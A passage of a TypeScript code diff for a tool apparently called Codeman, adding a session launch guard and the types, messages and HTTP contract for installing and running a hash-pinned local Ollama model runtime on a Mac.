return {
schema: 1,
state,
model,
cli,
runtime,
...(loaded ? { loaded } : {}),
...(connection ? { connection } : {}),
...(updatedAt ? { updatedAt } : {}),
};
}
const steps = parseSteps(parsed.steps);
const current = step(parsed.step);
if (!steps || !current || !steps.includes(current)) return IDLE_LOCAL_MODEL_STATE;
const error = parseError(parsed.error);
if (state === 'failed' && !error) return IDLE_LOCAL_MODEL_STATE;
const progress = parseProgress(parsed.progress);
const loaded = parseLoaded(parsed.loaded);
return {
schema: 1,
state,
step: current,
steps,
...(state === 'failed' && error ? { error } : {}),
model,
cli,
...(runtime ? { runtime } : {}),
...(progress ? { progress } : {}),
...(loaded ? { loaded } : {}),
...(connection ? { connection } : {}),
...(replacedModelId ? { replacedModelId } : {}),
...(updatedAt ? { updatedAt } : {}),
};
}
/** Where the state file is. Built from `dataPath()` on every call, so a test's own data dir is honoured. */
function stateFilePath(): string {
return localModelPaths(OLLAMA_RUNTIME_PIN.version).stateFile;
}
async function readStateFrom(path: string): Promise<LocalModelStateFile> {
try {
return parseLocalModelState(await fs.readFile(path, 'utf-8'));
} catch {
return IDLE_LOCAL_MODEL_STATE;
}
}
/** The stored state. Never throws: a file that cannot be read is `IDLE_LOCAL_MODEL_STATE`. */
export async function readLocalModelState(): Promise<LocalModelStateFile> {
return readStateFrom(stateFilePath());
}
async function writeStateFile(path: string, state: LocalModelStateFile): Promise<void> {
await fs.mkdir(dirname(path), { recursive: true });
const tmp = `${path}.${process.pid}.${randomUUID()}.tmp`;
try {
await fs.writeFile(tmp, JSON.stringify(state, null, 2), { mode: 0o600 });
await fs.rename(tmp, path);
} catch (err) {
await fs.rm(tmp, { force: true }).catch(() => {});
throw err;
}
}
let mutationChain: Promise<unknown> = Promise.resolve();
/**
* Runs one change to the state file. `fn` receives the current state and returns the state to
* write, or `undefined` to write nothing. Resolves with the state before and after the change
* (`after` is `undefined` when nothing was written). `updatedAt` is stamped here. A failed
* write rejects its own caller only; the chain keeps going.
*/
export function mutateLocalModelState(
fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined
): Promise<{ before: LocalModelStateFile; after: LocalModelStateFile | undefined }> {
const run = mutationChain.then(async () => {
const path = stateFilePath();
const before = await readStateFrom(path);
const next = fn(before);
if (!next) return { before, after: undefined };
const after: LocalModelStateFile = { ...next, updatedAt: new Date().toISOString() };
await writeStateFile(path, after);
return { before, after };
});
mutationChain = run.catch(() => {});
return run;
}
+2
View File
@@ -134,6 +134,8 @@ export interface RebootRestoreRejection {
| 'workspace-forbidden'
| 'already-live'
| 'capacity-reached'
/** The session ran on the model Codeman runs on this Mac, and that model cannot be started on right now. */
| 'local-model-not-ready'
| 'rebuild-failed';
}
+48
View File
@@ -510,6 +510,18 @@ export class GuardedInputBusyError extends Error {
}
}
/**
* The session's launch guard refused the start of a new agent process
* (`Session.setLaunchGuard()`). Its message is the sentence for the user. A typed error, so a
* start that was refused is told apart from a tmux failure and never falls back to a direct PTY.
*/
export class LaunchRefusedError extends Error {
constructor(message: string) {
super(message);
this.name = 'LaunchRefusedError';
}
}
/**
* Whether a programmatic write leaves the keep-alive turn running: the nudge itself, or a bare
* Enter (which submits nothing new). Anything else carrying an Enter starts a turn of its own.
@@ -880,6 +892,12 @@ export class Session extends EventEmitter {
// config dir) without guessing what it once wrote. Persisted disk-only (`__customModel`).
private _customModel: CustomModelBookkeeping | undefined;
// Asked right before a NEW agent process is started for this session (a fresh pane, the
// respawn of a dead one, a restart in place), never for an attach to an agent that runs.
// Resolves with the sentence that refuses the start, or undefined. Set by the web layer
// (`WebServer.setupSessionListeners()`); this file does not know who asks or why.
private _launchGuard: (() => Promise<string | undefined>) | null = null;
// Env keys a retired custom-model selection injected that the NEXT respawn must
// `tmux setenv -u`. Deleting a key from `_envOverrides` alone does nothing to the
// tmux session, which keeps every `setenv` and hands it to `respawn-pane`, so the
@@ -2063,6 +2081,22 @@ export class Session extends EventEmitter {
}
}
/**
* Sets what is asked before a new agent process is started for this session (see
* `_launchGuard`). The first user is the model Codeman runs on this Mac: an agent is not
* started on it while its runtime is down or its model changed. `null` removes it.
*/
setLaunchGuard(guard: (() => Promise<string | undefined>) | null): void {
this._launchGuard = guard;
}
/** Throws the guard's sentence (`LaunchRefusedError`) when a new agent process must not be started now. */
private async _assertLaunchAllowed(): Promise<void> {
if (!this._launchGuard) return;
const refusal = await this._launchGuard();
if (refusal) throw new LaunchRefusedError(refusal);
}
// Custom Model Endpoint Profiles (docs/custom-model-endpoints-plan.md) — public-safe
// subset only (never envKeys/configDir/launchModel, the bookkeeping for setCustomModel).
get customModel(): CustomModelSelection | undefined {
@@ -2635,6 +2669,8 @@ export class Session extends EventEmitter {
let respawnedResumeId: string | undefined;
if (this._muxSession && mux.isPaneDead(this._muxSession.muxName)) {
console.log('[Session] Dead pane detected, respawning:', this._muxSession.muxName);
// A new agent process: asked first (see `_launchGuard`). A refusal leaves the pane as it is.
await this._assertLaunchAllowed();
// Confirmed dead — safe to resolve/pin now (see `_pinOmpRespawnId()`).
// `options.respawnPaneOptions` was built eagerly before this dead-pane
// check ran, so it still carries the pre-pin ompConfig; rebuild it.
@@ -2689,6 +2725,8 @@ export class Session extends EventEmitter {
this._resumeSessionId = pinned;
}
}
// A new agent process: asked first (see `_launchGuard`).
await this._assertLaunchAllowed();
this._muxSession = await mux.createSession(options.createSessionOptions);
console.log('[Session] Created mux session:', this._muxSession.muxName);
// No extra sleep — createSession() already waits for tmux readiness
@@ -2808,6 +2846,9 @@ export class Session extends EventEmitter {
return false;
}
// A new agent process: asked first (see `_launchGuard`). A refusal rejects, and the pane
// keeps what runs in it.
await this._assertLaunchAllowed();
this._pinOmpRespawnId();
const newPid = await mux.respawnPane(await this._buildRespawnPaneOptionsWithResumePin());
if (!newPid) {
@@ -3461,6 +3502,9 @@ export class Session extends EventEmitter {
this._armPaneSettle(true);
}
} catch (err) {
// A refused launch is an answer, not a tmux failure: it must not fall through to
// the direct PTY below, which would start the very process that was refused.
if (err instanceof LaunchRefusedError) throw err;
if (this._adopt) this._failAdoptedStart(err);
console.error('[Session] Failed to create mux session, falling back to direct PTY:', err);
this._useMux = false;
@@ -3482,6 +3526,8 @@ export class Session extends EventEmitter {
throw new Error(`${getModeLabel(this.mode)} sessions require tmux. Direct PTY fallback is not supported.`);
}
if (this._adopt) this._failAdoptedStart(new Error('tmux is not available'));
// A new agent process on this path too: asked first (see `_launchGuard`).
await this._assertLaunchAllowed();
try {
// Pass --session-id to use the SAME ID as the Codeman session
// This ensures subagents can be directly matched to the correct tab.
@@ -4485,6 +4531,8 @@ export class Session extends EventEmitter {
}, 100);
}
} catch (err) {
// As in startInteractive(): a refused launch never falls back to a direct PTY.
if (err instanceof LaunchRefusedError) throw err;
if (this._adopt) this._failAdoptedStart(err);
console.error('[Session] Failed to create mux session, falling back to direct PTY:', err);
this._useMux = false;
+4
View File
@@ -29,6 +29,8 @@
* | plan | PlanItem, PlanTaskStatus, TddPhase | In-memory → `GET /api/sessions/:id/plan/tasks` |
* | orchestrator | OrchestratorState, OrchestratorPlan, OrchestratorConfig, OrchestratorPersistState | `~/.codeman/state.json` → `GET /api/orchestrator/status` |
* | mcp-sync | McpSyncResult, McpSyncTargetResult | Other CLIs' own config files → `GET`/`POST /api/mcp-sync` |
* | local-model | HardwareFacts, LocalModelCatalog, Candidate, Recommendation, RecommendOptions, LOCAL_MODEL_LABELS | In-memory only (nothing persisted) → `GET /api/local-model` |
* | local-model-install | LocalModelStatus, LocalModelInstallView, LocalModelStateFile, LocalModelRuntimePin, LOCAL_MODEL_INSTALL_LABELS | `~/.codeman/local-model.json` → `GET /api/local-model` and its install verbs |
*
* ## Cross-domain relationship map
*
@@ -77,3 +79,5 @@ export * from './webview.js';
export * from './intent.js';
export * from './foreign-tmux.js';
export * from './mcp-sync.js';
export * from './local-model.js';
export * from './local-model-install.js';
+638
View File
@@ -0,0 +1,638 @@
/**
* @fileoverview Types of the local model INSTALL: the runtime pin, the job's states, steps and
* error codes, the progress, the `install` object of `GET /api/local-model`, the bodies and
* answers of the install verbs, and the shape of the state file.
*
* The read side (hardware, catalogue, recommendation) is in src/types/local-model.ts. This
* file holds `LocalModelStatus`, the whole `data` of the GET, because it joins the two.
*
* Who produces what:
* - `LocalModelRuntimePin`: a compiled constant in src/local-model/runtime.ts. No file, no
* setting and no request can change which binary is downloaded.
* - `LocalModelStateFile`: src/local-model/state-store.ts, the ONE writer of
* `local-model.json` (mode 0600, temp file + rename).
* - `LocalModelInstallView`: src/local-model/install-job.ts (`buildInstallView()`, pure), from
* the state file plus what is live (the runtime child, the developer tools check).
* - `LocalModelStatus` and the verb answers: src/web/routes/local-model-routes.ts.
*
* The HTTP contract. Every route is admin only in multi-user mode (403 `FORBIDDEN`) and
* EXPERIMENTAL like the GET (docs/versioning-policy.md). Every verb answers
* `{ success: true, data: LocalModelInstallView }` with the view AFTER the verb.
*
* | Route | Body | Refusals |
* |----------------------------------|-----------------------------|-------------------------------------------------------|
* | `GET /api/local-model` | none | none (a failed probe is an answer) |
* | `POST /api/local-model/install` | `LocalModelInstallRequest` | 400 not a row the server offers, or a saved endpoint |
* | | | already has the reserved id; 409 `job-running`, |
* | | | `already-installed`, `size-changed` |
* | `POST /api/local-model/cancel` | none | 409 `wrong-state` (no job is running) |
* | `POST /api/local-model/resume` | `LocalModelResumeRequest` | 409 `job-running`, `wrong-state` (not paused or |
* | | | failed), `sessions-open` (another port while live |
* | | | sessions use the model) |
* | `POST /api/local-model/runtime` | `LocalModelRuntimeRequest` | 409 `wrong-state` (not installed), `job-running`, |
* | | | `sessions-open` (stop, or another port, while live |
* | | | sessions use the model) |
* | `DELETE /api/local-model` | `LocalModelRemoveRequest` | 409 `job-running`, `sessions-open` |
*
* A 409 is the error envelope plus `data: LocalModelConflict`:
* `{ success: false, error, errorCode: 'CONFLICT', data: { reason, message, ... } }`. A 409
* WITHOUT `data` is a write of `settings.json` or of the endpoint store that was refused
* because the file does not parse; `error` names the fix. A 400 the service names carries its
* sentence the same way: `{ success: false, error, errorCode: 'INVALID_INPUT', data: {
* message } }` (`LocalModelRefusal`), so the window can print it in its own language.
*
* The rules of src/types/local-model.ts hold here too:
* 1. A size a person reads travels twice: as bytes and as decimal GB text from `formatGb()`
* (`completedGb`, `totalGb`, `downloadGb`). The browser prints the text and adds or
* divides nothing for display. `mbPerSecond` is the one other unit, decimal MB per second.
* 2. Every sentence the server chooses comes from `LOCAL_MODEL_INSTALL_LABELS`, with its
* numbers and names in `vars`. `{name}` is taken by the translator, so no slot has that name.
* 3. A CLI id is data (`LocalModelInstallView.cli`): the browser passes it on and compares it
* with nothing. What a person reads is `cliLabel`.
*/
import type { HardwareFacts, Recommendation } from './local-model.js';
// ---------- The runtime pin ----------
/**
* The one runtime build Codeman downloads and runs. A compiled constant
* (`OLLAMA_RUNTIME_PIN` in src/local-model/runtime.ts): the hash is compared before anything
* is unpacked, so the pin and the hash must come from the same reviewed source file.
*/
export interface LocalModelRuntimePin {
/** The runtime's family. One value today. */
id: 'ollama';
/** The release ('0.40.15'). `GET /api/version` of the running runtime must answer it. */
version: string;
/** Where the archive is downloaded from. https, a fixed release asset. */
url: string;
/** Size of the archive in bytes. A body that grows past it is refused before the hash is finished. */
bytes: number;
/** Lowercase hex sha256 of the archive. */
sha256: string;
/** What the unpacked folder takes on disk, in bytes (measured: about 579 MB). */
unpackedBytes: number;
/** The oldest macOS major version the runtime supports. */
minMacosMajor: number;
}
// ---------- States, steps, codes ----------
/**
* Where the install stands. The verb of the flow is the same throughout: install, installing,
* installed.
* - `idle`: nothing is installed and no job exists.
* - `installing`: the one job is running; `step` says where.
* - `paused`: the job stopped at `step` because of Cancel or a server restart. It never
* continues without a click.
* - `failed`: the job stopped at `step` with `error`.
* - `installed`: the model is connected. Whether the runtime runs is `running`, not a state.
* The state table (what is on disk, what a restart and Cancel do, the allowed actions) is
* `INSTALL_STATE_TABLE` in src/local-model/install-job.ts.
*/
export type LocalModelInstallState = 'idle' | 'installing' | 'paused' | 'failed' | 'installed';
/**
* The steps of a job, in the order they run.
* - `runtime`: get the pinned runtime (download, compare the hash, unpack), start it, read
* the measured memory budget and judge the chosen model against it.
* - `model`: download the model (the runtime's pull).
* - `verify`: load the model and check it: one tiny chat, the memory and context the runtime
* reports, one tool call.
* - `agent`: install the coding agent. Left out of a job whose coding agent is installed.
* - `connect`: save the connection (the endpoint record and the settings flag).
*/
export type LocalModelInstallStep = 'runtime' | 'model' | 'verify' | 'agent' | 'connect';
/** Every step, in order. A job runs these, without `agent` when the coding agent is installed. */
export const LOCAL_MODEL_INSTALL_STEPS: readonly LocalModelInstallStep[] = [
'runtime',
'model',
'verify',
'agent',
'connect',
];
/**
* Why a job failed, or (in state `installed`) what blocks a session. Each code has one
* sentence (`LOCAL_MODEL_ERROR_LABELS`) and one helpful next step (`LOCAL_MODEL_ERROR_NEXT`).
*
* | Code | Raised when |
* |---------------------------|--------------------------------------------------------------------------|
* | `runtime-download-failed` | the archive download still fails after its retries |
* | `runtime-damaged` | the archive's sha256 is not the pinned one (the file was deleted) |
* | `runtime-unpack-failed` | `/usr/bin/tar` failed |
* | `runtime-start-failed` | the runtime was started and never answered `/api/version`. Installed: |
* | | the last start failed (the detail says why), and Start tries again |
* | `runtime-stopped` | the runtime crashed and was restarted 3 times, then given up: on an |
* | | installed model, or during a job's download |
* | `runtime-not-running` | installed: the runtime is not running (the person stopped it). Only a |
* | | refused session start says it; the view shows no error for a stopped runtime |
* | `port-in-use` | another program listens on the stored port, or no port of the span is free |
* | `disk-full` | a write failed for lack of space |
* | `pull-failed` | the pull still ends on an error line or a cut stream after its retries |
* | `model-not-found` | the registry no longer has this model under this name |
* | `does-not-fit` | the measured budget rules the model out, or the runtime did not put all of it on the GPU |
* | `context-not-applied` | the runtime loaded the model with another context than the chosen one |
* | `load-failed` | the tiny chat that loads the model failed |
* | `no-tool-call` | the tool probe was answered without a tool call with parseable arguments |
* | `probe-unfinished` | the tool probe ended on its token limit, so it proves nothing |
* | `harness-failed` | the coding agent's install command failed, or its binary is still missing |
* | `endpoint-id-taken` | a saved endpoint with our id exists that this feature did not write |
* | `connect-failed` | the endpoint record or the settings flag could not be written |
* | `model-changed` | installed: the model's digest is not the one stored at install time |
* | `internal` | anything unexpected (the exception text is in `detail`) |
*/
export type LocalModelErrorCode =
| 'runtime-download-failed'
| 'runtime-damaged'
| 'runtime-unpack-failed'
| 'runtime-start-failed'
| 'runtime-stopped'
| 'runtime-not-running'
| 'port-in-use'
| 'disk-full'
| 'pull-failed'
| 'model-not-found'
| 'does-not-fit'
| 'context-not-applied'
| 'load-failed'
| 'no-tool-call'
| 'probe-unfinished'
| 'harness-failed'
| 'endpoint-id-taken'
| 'connect-failed'
| 'model-changed'
| 'internal';
/**
* The ONE action that helps after an error. The window draws one button for it.
* - `retry`: "Try again". `POST /api/local-model/resume`.
* - `other-port`: "Use another port". `POST /api/local-model/resume` with `newPort: true`
* (state `failed`), or `POST /api/local-model/runtime` with `action: 'start'` and
* `newPort: true` (state `installed`).
* - `next-model`: "Try <model>". Back to the chooser with `error.nextModel` preselected; the
* person confirms its sizes and a new `POST /api/local-model/install` replaces the job.
* Without a `nextModel` the window offers the chooser and Remove.
* - `start`: "Start". `POST /api/local-model/runtime` with `action: 'start'`.
* - `remove`: "Remove". `DELETE /api/local-model`.
*
* `LOCAL_MODEL_ERROR_NEXT` is the default of a code. The view adapts it to the state the
* error is shown in, so the button is always one the server accepts there: a code whose
* default is `start` says `retry` on a failed job (there is no Start verb for a job), and
* `runtime-start-failed` says `start` on an installed model (there is nothing to resume).
*/
export type LocalModelNextStep = 'retry' | 'other-port' | 'next-model' | 'start' | 'remove';
/**
* What a client may do in the current state. The view's `actions` lists exactly the ones the
* server would accept right now, so the window shows a button only for those.
* - `install`: `POST /api/local-model/install`.
* - `cancel`: `POST /api/local-model/cancel`.
* - `resume`: `POST /api/local-model/resume`.
* - `start` and `stop`: `POST /api/local-model/runtime`.
* - `remove`: `DELETE /api/local-model`.
* - `start-session`: not a route of this feature: the window starts a session on the endpoint
* `endpointId` with the coding agent `cli`. Offered only while the runtime runs and nothing
* blocks a session.
*/
export type LocalModelAction = 'install' | 'cancel' | 'resume' | 'start' | 'stop' | 'remove' | 'start-session';
/** Whether the Mac has the developer tools (git, Python) a coding agent calls. */
export type LocalModelDeveloperTools =
/** `/usr/bin/xcode-select -p` succeeded. */
| 'present'
/** It failed: macOS will offer to install the tools the first time an agent needs one. */
| 'missing'
/** Not macOS, or the check did not answer in time. Nothing is said then. */
| 'unknown';
// ---------- Sentences ----------
/**
* Every sentence the server may put into the `install` object or a 409, in English (the i18n
* source language). Like `LOCAL_MODEL_LABELS`: the zh-CN dictionary in src/web/public/i18n.js
* has one entry per value, keyed by this exact text, and the i18n test lists them from here.
* A constant of its own, so the sentences of the recommendation and of the install can be
* listed apart.
*
* | Key | Slots (all text) |
* |------------------------|----------------------------------------------------------------------|
* | `errPortInUse` | `port`: the port number |
* | `errModelNotFound`, `errDoesNotFit`, `errLoadFailed`, `errNoToolCall`, `errProbeUnfinished` | `model`: the model's label |
* | `errContextNotApplied` | `model`; `actual`: the context the runtime reports; `wanted`: the chosen one |
* | `errHarnessFailed` | `cli`: the coding agent's label |
* | `errEndpointIdTaken` | `id`: the endpoint id this feature uses |
* | `refusedAgentNotInstallable` | `cli`: the coding agent's label |
* | `refusedOtherModel` | `model`: the label of the model that is installed |
* | `conflictSizeChanged` | `size`: the server's own total as decimal GB |
* | `conflictSessionsOpen` | `sessions`: the session names, joined with ', ' |
*
* `developerToolsMissing` is not sent: the view carries `developerTools` and the window prints
* this sentence when it is `missing`. It is here so that its wording has one source.
*
* `endpointManaged` and `endpointIdReserved` are what the endpoint routes
* (src/web/routes/custom-model-routes.ts) answer for the record this feature manages and for
* its reserved id. They have no slot, so the App Settings toast that prints them translates
* them as it translates every other whole sentence.
*/
export const LOCAL_MODEL_INSTALL_LABELS = {
errRuntimeDownloadFailed:
'The download of the runtime stopped and could not be continued. Check the network connection, then try again.',
errRuntimeDamaged: 'The runtime download was damaged and has been deleted. Try again.',
errRuntimeUnpackFailed: 'The runtime could not be unpacked on this Mac.',
errRuntimeStartFailed: 'The runtime did not start on this Mac.',
errRuntimeStopped: 'The runtime keeps stopping, so Codeman no longer restarts it.',
errRuntimeNotRunning: 'The model on this Mac is not running. Start it first.',
errPortInUse: 'Port {port} is in use by another program.',
errDiskFull: 'The disk is full. Free up space, then try again.',
errPullFailed: 'The download keeps stopping. The network may be damaging data. Try again or use another network.',
errModelNotFound: '{model} is no longer offered under this name. Update Codeman or pick another model.',
errDoesNotFit: '{model} does not fit in the memory of this Mac after all.',
errContextNotApplied: '{model} loaded with a context of {actual} tokens instead of {wanted}.',
errLoadFailed: '{model} did not load on this Mac.',
errNoToolCall: '{model} loaded but did not call a tool, so a coding agent cannot work with it.',
errProbeUnfinished: 'The check of {model} did not finish.',
errHarnessFailed: '{cli} could not be installed.',
errEndpointIdTaken:
'A saved model connection named {id} already exists and was not created here. Rename or delete it in App Settings, then try again.',
errConnectFailed: 'Codeman could not save the connection to the model.',
errModelChanged: 'The model on this Mac changed since it was installed. Remove it and install it again.',
errInternal: 'The install stopped on an unexpected error.',
conflictJobRunning: 'An install is already running.',
conflictAlreadyInstalled: 'A model is already installed on this Mac. Remove it first.',
conflictSizeChanged: 'The download is {size} GB now. Check the sizes and confirm again.',
conflictSessionsOpen: 'Sessions are still using this model: {sessions}. Close them first.',
conflictWrongState: 'That is not possible in the current state.',
refusedModelNotOffered: 'This model at this context is not offered for this Mac right now.',
refusedAgentNotOffered: 'This coding agent is not offered for this model.',
refusedAgentNotInstallable: '{cli} is not installed and cannot be installed from here.',
refusedOtherModel: 'Only {model} is installed on this Mac. Remove it and install another model first.',
endpointManaged:
'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.',
endpointIdReserved: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.',
developerToolsMissing:
'Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer to install them the first time an agent needs one.',
} as const;
/** One of the texts in `LOCAL_MODEL_INSTALL_LABELS`. */
export type LocalModelInstallLabel = (typeof LOCAL_MODEL_INSTALL_LABELS)[keyof typeof LOCAL_MODEL_INSTALL_LABELS];
/** A sentence of the install: a text from `LOCAL_MODEL_INSTALL_LABELS` plus the values of its `{placeholder}` slots. */
export interface LocalModelInstallMessage {
text: LocalModelInstallLabel;
/** Slot values, already formatted as text. Absent when the text has no slot. */
vars?: Record<string, string>;
}
/** The sentence of each error code. */
export const LOCAL_MODEL_ERROR_LABELS: Record<LocalModelErrorCode, LocalModelInstallLabel> = {
'runtime-download-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeDownloadFailed,
'runtime-damaged': LOCAL_MODEL_INSTALL_LABELS.errRuntimeDamaged,
'runtime-unpack-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeUnpackFailed,
'runtime-start-failed': LOCAL_MODEL_INSTALL_LABELS.errRuntimeStartFailed,
'runtime-stopped': LOCAL_MODEL_INSTALL_LABELS.errRuntimeStopped,
'runtime-not-running': LOCAL_MODEL_INSTALL_LABELS.errRuntimeNotRunning,
'port-in-use': LOCAL_MODEL_INSTALL_LABELS.errPortInUse,
'disk-full': LOCAL_MODEL_INSTALL_LABELS.errDiskFull,
'pull-failed': LOCAL_MODEL_INSTALL_LABELS.errPullFailed,
'model-not-found': LOCAL_MODEL_INSTALL_LABELS.errModelNotFound,
'does-not-fit': LOCAL_MODEL_INSTALL_LABELS.errDoesNotFit,
'context-not-applied': LOCAL_MODEL_INSTALL_LABELS.errContextNotApplied,
'load-failed': LOCAL_MODEL_INSTALL_LABELS.errLoadFailed,
'no-tool-call': LOCAL_MODEL_INSTALL_LABELS.errNoToolCall,
'probe-unfinished': LOCAL_MODEL_INSTALL_LABELS.errProbeUnfinished,
'harness-failed': LOCAL_MODEL_INSTALL_LABELS.errHarnessFailed,
'endpoint-id-taken': LOCAL_MODEL_INSTALL_LABELS.errEndpointIdTaken,
'connect-failed': LOCAL_MODEL_INSTALL_LABELS.errConnectFailed,
'model-changed': LOCAL_MODEL_INSTALL_LABELS.errModelChanged,
internal: LOCAL_MODEL_INSTALL_LABELS.errInternal,
};
/** The one helpful next step of each error code. */
export const LOCAL_MODEL_ERROR_NEXT: Record<LocalModelErrorCode, LocalModelNextStep> = {
'runtime-download-failed': 'retry',
'runtime-damaged': 'retry',
'runtime-unpack-failed': 'retry',
'runtime-start-failed': 'retry',
'runtime-stopped': 'start',
'runtime-not-running': 'start',
'port-in-use': 'other-port',
'disk-full': 'retry',
'pull-failed': 'retry',
'model-not-found': 'next-model',
'does-not-fit': 'next-model',
'context-not-applied': 'retry',
'load-failed': 'retry',
'no-tool-call': 'next-model',
'probe-unfinished': 'retry',
'harness-failed': 'retry',
'endpoint-id-taken': 'retry',
'connect-failed': 'retry',
'model-changed': 'remove',
internal: 'retry',
};
// ---------- The `install` object of the GET ----------
/**
* How far a download is. Present while the `runtime` step downloads the archive and while the
* `model` step pulls, once the total is known; kept on a paused or failed job as it stood.
* During the `model` step both byte figures come from the pull's own lines, never from the
* catalogue.
*/
export interface LocalModelProgress {
completedBytes: number;
totalBytes: number;
/** `completedBytes` as decimal GB text, no unit ('6.2'). */
completedGb: string;
/** `totalBytes` as decimal GB text, no unit ('23.1'). */
totalGb: string;
/** Download speed. Absent until it can be told (the first moments, a paused job). */
bytesPerSecond?: number;
/** `bytesPerSecond` as whole decimal megabytes per second, no unit ('58'). Present exactly when `bytesPerSecond` is. */
mbPerSecond?: string;
/** Seconds left at the current speed, rounded up. Absent when the speed is unknown or 0. */
secondsLeft?: number;
}
/** An error as the window shows it: the sentence, the one action that helps, and the raw detail. */
export interface LocalModelInstallError {
code: LocalModelErrorCode;
/** `LOCAL_MODEL_ERROR_LABELS[code]` with its slots filled. */
message: LocalModelInstallMessage;
/** `LOCAL_MODEL_ERROR_NEXT[code]`, adapted to the state the error is shown in (see `LocalModelNextStep`). */
next: LocalModelNextStep;
/**
* For `next-model`: the model to try instead. After `does-not-fit` it is one that needs LESS
* memory than the one that failed; after the other codes the best other model that fits.
* Absent when there is none.
*/
nextModel?: { modelId: string; modelLabel: string };
/**
* Raw text for the person who wants to know more: the last lines of an installer, the
* message of a refused write, an exception. Not translated; printed with `textContent`.
*/
detail?: string;
}
/** The model of the job or of the installation. */
export interface LocalModelInstalledModel {
/** `LocalModelEntry.id`. */
id: string;
/** `LocalModelEntry.label`. */
label: string;
}
/** The runtime, as the consent screen needs it. */
export interface LocalModelRuntimeView {
/** `LocalModelRuntimePin.version`. */
version: string;
/** The pinned runtime is unpacked on disk. Then an install downloads only the model. */
installed: boolean;
/** What an install would download for the runtime: the archive size, 0 when `installed`. */
downloadBytes: number;
/** `downloadBytes` as decimal GB text, no unit ('0.2'). */
downloadGb: string;
/** What the unpacked runtime takes on disk, as decimal GB text, no unit ('0.6'). */
unpackedGb: string;
}
/** What the runtime reported about the loaded model when the job checked it. The facts of the Done line. */
export interface LocalModelLoadedFacts {
/** The context length in tokens the runtime loaded the model with. */
context: number;
/** Memory the loaded model took, in bytes (`size` of the runtime's process list). */
memoryBytes: number;
/** `memoryBytes` as decimal GB text, no unit. */
memoryGb: string;
/** All of it is on the GPU (`size_vram` equals `size`). Always true after a job that passed. */
onGpu: boolean;
}
/**
* The `install` object of `GET /api/local-model`: where the install stands and what can be
* done about it. The window polls it once a second while it is open; there is no SSE event.
*
* Which members are present, by state:
*
* | Member | idle | installing | paused | failed | installed |
* |-----------------------------------|------|------------|--------|--------|-----------|
* | `step`, `steps` | | yes | yes | yes | |
* | `progress` | | during a download | as it stood, when known | as it stood, when known | |
* | `error` | | | | yes | only when something blocks a session |
* | `model`, `cli`, `cliLabel`, `context` | | yes | yes | yes | yes |
* | `port` | | once chosen | once chosen | once chosen | yes |
* | `loaded`, `endpointId` | | | | | yes |
*
* `running`, `developerTools`, `runtime`, `folder` and `actions` are always present.
*/
export interface LocalModelInstallView {
state: LocalModelInstallState;
/** The step the job is in, or stopped in. */
step?: LocalModelInstallStep;
/** The steps of THIS job in order, for the step list (`agent` is absent when the coding agent was already installed). */
steps?: LocalModelInstallStep[];
progress?: LocalModelProgress;
error?: LocalModelInstallError;
model?: LocalModelInstalledModel;
/** The coding agent: a CLI registry id, as data. */
cli?: string;
/** The coding agent's display label ('OpenCode'). */
cliLabel?: string;
/** The context length in tokens the runtime is started with. */
context?: number;
/** The loopback port of the runtime. */
port?: number;
/** The runtime child Codeman started is alive right now. */
running: boolean;
developerTools: LocalModelDeveloperTools;
runtime: LocalModelRuntimeView;
/** The absolute folder everything of this feature is kept in, for the "where it goes" line. */
folder: string;
loaded?: LocalModelLoadedFacts;
/** The id of the saved endpoint a session is started on. */
endpointId?: string;
/** What the server accepts right now, see `LocalModelAction`. */
actions: LocalModelAction[];
}
/** The `data` of `GET /api/local-model`. Admin only in multi-user mode. */
export interface LocalModelStatus {
hardware: HardwareFacts;
recommendation: Recommendation;
/** `LocalModelCatalog.updated`. */
catalogUpdated: string;
/** Where the install stands. Always present. */
install: LocalModelInstallView;
}
// ---------- Request bodies and answers ----------
/**
* Body of `POST /api/local-model/install`. The three choices must name a row the server offers
* right now: a model of `recommendation.pick` or `recommendation.alternatives`, at that
* candidate's `context`, with one of its `harnesses`. Anything else is a 400 before any
* download.
*/
export interface LocalModelInstallRequest {
/** `Candidate.modelId`. */
modelId: string;
/** `CandidateHarness.cli`. */
cli: string;
/** `Candidate.context`. */
context: number;
/**
* The total the person saw and confirmed: `Candidate.installBytes`. The server compares it
* with its own total and answers 409 `size-changed` when they differ, so a consent is bound
* to the size that was shown.
*/
acknowledgedBytes: number;
}
/** Body of `POST /api/local-model/resume`. May be absent or empty. */
export interface LocalModelResumeRequest {
/** True: choose another port first (the answer to `port-in-use`). */
newPort?: boolean;
}
/** Body of `POST /api/local-model/runtime`. */
export interface LocalModelRuntimeRequest {
/** `stop` also keeps the runtime from being started at the next boot; `start` undoes that. */
action: 'start' | 'stop';
/** With `start`: choose another port first (the answer to `port-in-use`), and move the saved endpoint to it. */
newPort?: boolean;
}
/** Body of `DELETE /api/local-model`. May be absent or empty. */
export interface LocalModelRemoveRequest {
/** True: delete the downloaded model too. Default false: the model stays for a later install. */
removeModel?: boolean;
}
/** The `data` of a 400 the service names: its sentence, for the window to print in its own language. */
export interface LocalModelRefusal {
message: LocalModelInstallMessage;
}
/** What every verb answers on success: the view after the verb. */
export type LocalModelVerbAnswer = LocalModelInstallView;
/**
* Why a verb was refused with 409.
* - `job-running`: a job is running (a second install, a resume, a remove or a runtime action).
* - `already-installed`: install while a model is installed. Remove it first.
* - `size-changed`: `acknowledgedBytes` is not the server's total; `expectedBytes` and
* `expectedGb` carry that total, so the window can show it and ask again.
* - `sessions-open`: remove, stop or a change of port while live sessions use the endpoint;
* `sessions` names them. Their coding agents were given the runtime's address when they
* started, so they would go on calling a port nothing of ours holds.
* - `wrong-state`: the verb makes no sense in the current state (see the route table above).
*/
export type LocalModelConflictReason =
| 'job-running'
| 'already-installed'
| 'size-changed'
| 'sessions-open'
| 'wrong-state';
/** The `data` of a 409 of an install verb. */
export interface LocalModelConflict {
reason: LocalModelConflictReason;
/** The sentence for the window (`conflict...` of `LOCAL_MODEL_INSTALL_LABELS`). */
message: LocalModelInstallMessage;
/** `size-changed`: the server's own total in bytes. */
expectedBytes?: number;
/** `size-changed`: `expectedBytes` as decimal GB text, no unit. */
expectedGb?: string;
/** `sessions-open`: the names of the live sessions that use the endpoint. */
sessions?: string[];
}
// ---------- The state file ----------
/**
